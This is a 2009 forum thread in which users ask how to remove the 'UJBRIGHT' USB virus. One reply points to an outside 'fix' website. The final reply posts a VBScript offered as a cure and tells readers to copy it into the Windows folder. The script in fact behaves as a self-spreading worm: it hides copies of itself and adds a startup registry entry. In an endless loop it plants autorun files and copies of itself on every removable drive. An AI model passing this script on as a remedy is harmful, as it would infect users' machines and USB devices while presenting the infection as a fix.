Previous Topic Next Topic

UJBRIGHT

Closed
Addy - Aug 26, 2009 at 12:28 PM
 MIT - Oct 8, 2009 at 11:39 AM
Hi all,

My computer is infected with the same virus "UJBRIGHT", but McAfee deletes the virus from the comuter but it is of no use on USB devices, it keeps coming back. I have tried many antivirus softwares but they prove to be of no use at all. It has become a pain in the wrong place, it has infected my ipod as well. Somebody please suggest me how to get rid of this permanently from my computer, USB storage devices and ipod. PLease help.

IMP Note: If somebody know who created this virus, pls let me know, am gonna be the pain of his life... lol.

Thanks,
Addy....

2 responses

Answer 1 / 2
joebin
Aug 27, 2009 at 08:58 AM
After DAYS of turmoil over this stupid UJBRIGHT virus i had enough. I had the same problem. I have AVG and it could not remove it, it said it picked up 6 trojans but then restart and they all come back, no matter how many times i removed them.

In the end i had http://www.fixedlikemagic.com remove it manually and set me up with their recommended protection, so now hopefully i will be safe!!
1
Answer 2 / 2
MIT
Oct 8, 2009 at 11:39 AM
The file UjBright_Antivirus.vbs infects the systems and changes Explorer>Menu>Tools>Folder options> and changes the file attributes to NOT show hidden files, It also disables registry editing, so that we cannot disable the virus from being active.

I changed the file Uj UjBright_Antivirus.vbs;
I changed the registry enteries to enable whatever this file was disabling and i added for it to end the viral script.
This file u copy to /systemroot/windows/ folder. It will run once and then stop. No infections alas it clears the changes made by the virus.
===================

On Error Resume Next
Dim fso, wscr, tf, scrText, win, ax

Set fso = CreateObject("Scripting.FileSystemObject")
Set wscr = CreateObject("WScript.Shell")

win = fso.GetSpecialFolder(0)
tf = WScript.ScriptFullName
x = LCase(tf)

If Mid(x, 4) = "UjBright_Antivirus_vbs.txt" Then
wscr.Run "explorer.exe " & fso.Getfile(tf).Drive.Path
End If

Set myFile = fso.Getfile(tf).OpenAsTextStream(1)
Do Until myFile.AtEndOfStream
scrText = scrText & myFile.ReadLine & vbCrLf
Loop

ax = fso.FileExists(win & "\UjBright_Antivirus_vbs.txt")

Set myFile = fso.CreateTextFile(win &

"\UjBright_Antivirus_vbs.txt", true)
myFile.write scrText
myFile.close

Set fAttr = fso.Getfile(win & "\UjBright_Antivirus_vbs.txt")
fAttr.Attributes=39

wscr.RegWrite

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

autoMe", " """ & win & "\UjBright_Antivirus_vbs.txt"""

If ax = false Then wscr.Run "wscript.exe """ & win &

"\UjBright_Antivirus_vbs.txt"""

While (true)

Set myDrives = fso.Drives
For Each myFlashDrive In myDrives

If myFlashDrive.Drivetype = 1 And myFlashDrive.Path <> "A:"

Then

If fso.FileExists(myFlashDrive.Path & "\Autorun.inf")

Then
Set fAttr = fso.Getfile(myFlashDrive.Path &

"\Autorun_inf.txt")
fAttr.Attributes=32
fso.Deletefile myFlashDrive.Path & "\Autorun_inf.txt",

true
End If

Set auFile = fso.CreateTextFile(myFlashDrive.Path &

"\Autorun_inf.txt", true)
auFile.write "[autorun]" & vbCrLf & "open=\" & vbCrLf &

"open=wscript.exe UjBright_Antivirus_vbs.txt" & vbCrLf &

"shell\Open\Command=wscript.exe UjBright_Antivirus_vbs.txt" &

vbCrLf & "shell\Open\Default=1"
auFile.close

Set auFile = fso.CreateTextFile(myFlashDrive.Path &

"\README_MIT_.txt", true)
auFile.write "Hello FRIENDS:" & vbCrLf & "" & vbCrLf & ""

& vbCrLf & "" & vbCrLf & " " & vbCrLf & "modified to negate virus

infection by DR.MHMD IMRAN T., +919441119044 Hyderabad, India" &

vbCrLf & " " & vbCrLf & "PARA SA GUSTONG MAGPA-ADVERTISE:" &

vbCrLf & "He wrote the virus >>> JUST CONTACT ME: 09083223171 -

UJBRIGHT"
auFile.close

Set fAttr = fso.Getfile(myFlashDrive.Path &

"\Autorun_inf.txt")
fAttr.Attributes=39

Set myFile = fso.CreateTextFile(myFlashDrive.Path &

"\UjBright_Antivirus_vbs.txt", true)
myFile.write scrText
myFile.close

Set fAttr = fso.Getfile(myFlashDrive.Path &

"\UjBright_Antivirus_vbs.txt")
fAttr.Attributes=39

End If

Next

With wscr
.RegWrite

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

autoMe", " """ & win & "\UjBright_Antivirus.txt"""
.RegWrite

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explo

rer\Advanced\Hidden", 0, "REG_DWORD"
.RegWrite

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explo

rer\Advanced\HideFileExt", 0, "REG_DWORD"
.RegWrite

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explo

rer\Advanced\ShowSuperHidden", 0, "REG_DWORD"
.RegWrite

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic

ies\Explorer\NoFolderOptions", 0, "REG_DWORD"
.RegWrite

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic

ies\Explorer\NoDriveTypeAutoRun", 128, "REG_DWORD"
.RegWrite

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic

ies\System\DisableRegistryTools", 0, "REG_DWORD"
.RegWrite

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic

ies\System\DisableTaskMgr", 0, "REG_DWORD"
End With

If tf <> win & "\UjBright_Antivirus.txt" Then
If fso.Getfile(tf).Drive.IsReady = false Then WScript.Quit
End If

WScript.Sleep 10000
WScript.Quit

Wend
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1